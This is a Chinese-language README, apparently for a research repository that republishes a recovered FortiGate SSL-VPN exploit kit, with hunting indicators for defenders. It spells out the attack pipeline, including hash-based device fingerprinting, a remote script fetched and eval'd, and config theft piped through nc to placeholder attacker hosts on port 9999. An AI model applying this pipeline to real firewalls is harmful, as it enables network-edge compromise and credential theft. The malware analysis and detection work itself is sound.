FortiGate SSL-VPN 的金矿。CVE-2024-21762 和 CVE-2023-27997。79 个可用的漏洞利用客户端。53 个硬件 SKU。55 个 FortiOS 构建版本。
研究档案。 按原样回收。这些文件并非我所编写。
发布: 2026年9月1日
本仓库是位于按 SKU 划分的 FortiGate SSL-VPN 漏洞利用目录之上的编排器、第二阶段载荷和操作员监听器。完整故事、统计数据和狩猎笔记见 Abraxas Labs 上的系列文章 The SSL-VPN pot of gold。
请勿对任何主机运行此材料,除非您已获得本仓库托管方和目标系统所有者的明确书面许可。相关 CVE 在本次发布之前已公开并修补。本目录树仅用于研究、检测和历史分析。
我在野外发现了一个私有的 FortiGate SSL-VPN 工具包。第一批内容是工作客户端目录:例如 exp/exp_60E-v6.4.7.py 和 exp/exp_1000D-v7.4.0.py。每个文件都是一个按 SKU、按 FortiOS 版本的内存破坏客户端。两个公开的 n-day 漏洞,跨硬件和固件重新标记,直到该文件夹看起来像一个零件目录。
本仓库是同一工具包的其余部分,而非第二个漏洞利用家族。
exp/ 目录中的程序是系列文章中已描述的按镜像客户端。shellcode/ 目录中的文件是这些客户端被编写来调用的启动器、植入物获取和配置窃取监听器。exp_*.py 文件从未包含植入物。它们只知道 (1) 从“shellcode 服务器”拉取原始字节,或 (2) GET /s.js 并 eval 它。缺失的部分就在这里。原语:
两者都在 CISA 的已知被利用漏洞目录中。poc.py 不实现这两个 CVE 中的任何一个。它选择并包装已分类的两个家族(分块写入 21762;enc= 堆溢出 27997)。
.
├── poc.py # pocsuite3 启动器 / 指纹识别 / 进程管理器
├── s.js # Node 第二阶段(配置窃取器)
├── send_cmd.py # stager 路径的回调处理器
├── init.sh # 操作员工作站软件包安装
├── requirements.txt # pwntools
├── exp/
│ └── exp_<SKU>-v<FortiOS>.py
└── shellcode/
├── shellcode_server.py # 长度前缀的 blob 泵
├── shellcode_arm # ~2.0 MB 原始第二阶段
└── shellcode_amd64 # ~2.7 MB 原始第二阶段
exp/index.html 和 shellcode/index.html 是普通的 Python http.server 目录列表。它们仅表明此目录树曾在某个时间点作为 Web 根目录托管。
此副本的 exp/ 是早期目录加上四个额外的客户端:exp_30E-v6.2.4.py、exp_30E-v6.2.12.py、exp_30E-v6.2.14.py、exp_40F-v7.0.5.py。
poc.py 编排器 (pocsuite3)
│
├─ 指纹识别门户 ─────────────── VERSION_LIBS (哈希 → SKU + FortiOS)
├─ 选择文件 ────────────────── exp/exp_<SKU>-v<ver>.py
│
├─ 如果客户端是 "stager" 类型(家族 A ARM / 部分 amd64)
│ 启动 shellcode/shellcode_server.py
│ 读取 shellcode/shellcode_arm 或 shellcode_amd64
│ 启动 send_cmd.py (等待回调)
│ 在 :9999 启动配置接收器
│ 运行选定的 exp_*.py
│
└─ 如果客户端是 "Node /s.js" 类型(大多数家族 B + 许多家族 A)
通过 HTTP 提供 s.js
在 :9999 启动配置接收器
运行选定的 exp_*.py
→ 防火墙 GET /s.js → eval → 外传
一行概括整个流水线:识别 → 选择偏移文件 → 破坏 sslvpnd → 拉取植入物 → 外传 /data/config/*.gz → 在操作员侧归档。
最后一步才是重点。一次命中就是在防火墙本身的 sslvpnd 中实现未认证代码执行——TLS 终结器、路由策略、VPN 会话,通常还有 LDAP/RADIUS 绑定。FortiOS 不提供有用的 /bin/sh。公开研究和此工具包都通过内部命令助手和/或 /bin/node(FortiOS 实际自带)来实现。将确认的命中视为网络边缘的失陷,而非守护进程崩溃。参见 What a hit means。
poc.py — 启动器操作员前端(pocsuite3 POCBase)。它不实现 CVE-2024-21762 或 CVE-2023-27997。
https://<target>/remote/login?lang=en(回退 GB2312)。/sslvpn/js/login.js?q=<md5> 拉取缓存破坏器哈希。VERSION_LIBS(182 行 hash,SKU,version)中查找该哈希。该表是工具包无需操作员指定 SKU 即可在 50 多种设备中选择的原因。与矩阵中的 SKU 相同,由公开的 SSL-VPN 资源哈希驱动,而非 SNMP 或管理 API。exp/exp_<SKU>-v<version>.py。s.js → 类型 2(Node 加载器)Shellcode Server → 类型 1(stager);然后在脚本中查找 arm 与 amd64Popen 运行 exp_*.py,传入主机/端口/回调参数。此副本中的默认操作员地址:来自环境变量的 HOST_IP,否则为 ATTACKER_HOST。此目录树中的字面 IPv4 地址已替换为角色标签(端口不变):
| 标签 | 角色 | 出现位置 |
|---|---|---|
TARGET_HOST | 受攻击的 FortiGate | 从未硬编码;来自 argv 的 rhost / target(参见 poc.py) |
ATTACKER_HOST | 操作员工作站 | poc.py 中的默认 HOST_IP;poc.py、send_cmd.py、shellcode/shellcode_server.py 中的绑定地址;exp_*.py 中填充 lhost 的 s.js / TFTP 占位符 |
C2_HOST | 此副本植入物中烘焙的回调 | s.js — 不是传入漏洞利用的 lhost |
| 端口 | 角色 |
|---|---|
| 7777 | 回调 / send_cmd.py |
| 8888 | Shellcode 服务器 |
| 9999 | 配置接收器(与 s.js 和 send_cmd.py 的外传匹配) |
如果门户哈希不在 VERSION_LIBS 中,则停止并显示“unknown target hash”。如果哈希匹配但 exp/ 文件不存在,则显示“no exp”。
s.js — 缺失的 Node 第二阶段这是家族 B / Node 家族 A 客户端在 execute_cmd 之后获取的文件。它不是通用的反向 shell。
C2_HOST:9999(C2 主机,不是 TARGET_HOST,也不是传入漏洞利用的 lhost / ATTACKER_HOST——此副本为单个操作员回调而烘焙)。/data/config/。*.gz 文件(FortiOS 压缩配置对象)。这是一个配置窃取器。这解释了为什么 poc.py 也在 9999 端口监听并将文件重组为 base64 结果。从任何 FortiGate 出口流量中狩猎 C2_HOST 的 9999 端口。狩猎笔记:第 3 阶段。
send_cmd.py — stager 路径的回调处理器当选定的 exp_*.py 是 ARM/amd64 shellcode 类型(用法中包含 shellcode 服务器)时使用。
cd /data/config 并将每个 *.gz 通过 cat 管道到 nc <LHOST> 9999。s.js 目标相同(窃取配置),传输方式不同(shell 回调 vs Node)。一个被注释掉的变体使用 base64 帧而非原始 cat。
shellcode/shellcode_server.py — 家族 A stager 的字节泵与 ARM32 exp_*.py 存根中已可见的协议匹配:
poc.py 使用 8888)。shellcode_<arch>。exp_*.py stager 连接到此,映射可写可执行内存,拉取 blob,然后回连到 lhost:lport(7777 → send_cmd.py)。
原始第二阶段 blob(约 2.0 MB ARM,约 2.7 MB amd64)。它们是 stager 下载的内容。它们不是 Python 文件内部的小型 Thumb 存根;那些存根仅用于获取这些文件。将它们视为非 Node 路径的植入物。大小表明是打包或静态载荷,而非几十条指令。
init.sh — 操作员工作站设置不针对防火墙使用。安装 build-essential、binutils-arm-linux-gnueabihf 和 gcc-aarch64-linux-gnu。这是用于在类 Debian 攻击机上构建 ARM/AArch64 组件。与编译 stager 而非仅发布 Python 的作者一致。
单行:pwntools。exp_*.py 文件和 shellcode_server.py 导入它。poc.py 还需要 pocsuite3、python-dotenv、mmh3 和 requests。
exp/ 客户端的关系| 系列中已描述 | 在本目录树中的角色 |
|---|---|
家族 A ARM exp_*.py(stager 参数) | 第一阶段。调用 shellcode_server.py + shellcode_arm(或 amd64),然后 lhost:7777。 |
家族 A/B Node exp_*.py(/s.js) | 第一阶段。HTTP GET 父目录 s.js,然后 eval。 |
6.0 D 系列 TFTP / /tmp/s 变体 | 通过 TFTP 实现相同的 s.js 目标;仍期望此文件位于操作员 HTTP 根目录。 |
父目录中没有任何内容实现第三个 CVE。计数、SKU 热力图和版本线对齐(家族 A 至 7.4.0 / 7.4.1;家族 B 在 27997 窗口内)见第 0 阶段和第 2 阶段。原始目录中重定向最密集的:FortiGate-60E、100E、60F、100F——分支机构硬件。
第一批内容止步于“获得回调”。第二阶段主体缺失。本目录树使目标明确化:
/data/config/*.gz,而非“通用 RCE”。这是凭据和拓扑失陷(VPN 用户、路由、存储在这些对象中的机密)。poc.py 中的 VERSION_LIBS 是一个现成的“他们认为此哈希对应哪个 SKU”列表。门户侦察和第一阶段 URI 已在 Hunting the kit 中记录。公开文章和本目录树中已指出的独特指标:
GET /remote/login 和 /sslvpn/js/login.js?q=/aaaa/bbbb、/remote/error、/remote/info、/remote/hostcheck_validate 带 enc=GET /s.jss.js 内烘焙的 C2 C2_HOST:9999(C2 主机)ATTACKER_HOST 端口 7777 / 8888 / 9999 上的监听器(攻击者主机)TARGET_HOST 是运行时提供的 rhost从防火墙(TARGET_HOST)狩猎到 C2_HOST:9999 的出站流量,以及到在相关窗口内提供过 /s.js 的任何 ATTACKER_HOST 的出站流量。
来自引言:
针对虚拟机的公开 PoC 是另一种工件。此工具包面向那些回应了侦察的人。
如果您运行 FortiGate:盘点型号、确切 FortiOS 版本、SSL-VPN 开启或关闭、门户是否可从不受信任的网络访问。然后阅读第 2 阶段。不要只盘点 60 系列分支机构设备,因为那些文件名最显眼。
这些文件是在独立安全研究期间于野外回收的。并非我所创建。它们按原样发布,且相关 CVE 已公开披露并修补。
仅限研究/教育用途。 请勿对任何主机运行、部署或使用此材料,除非您已获得本仓库托管方和目标系统所有者的明确书面许可。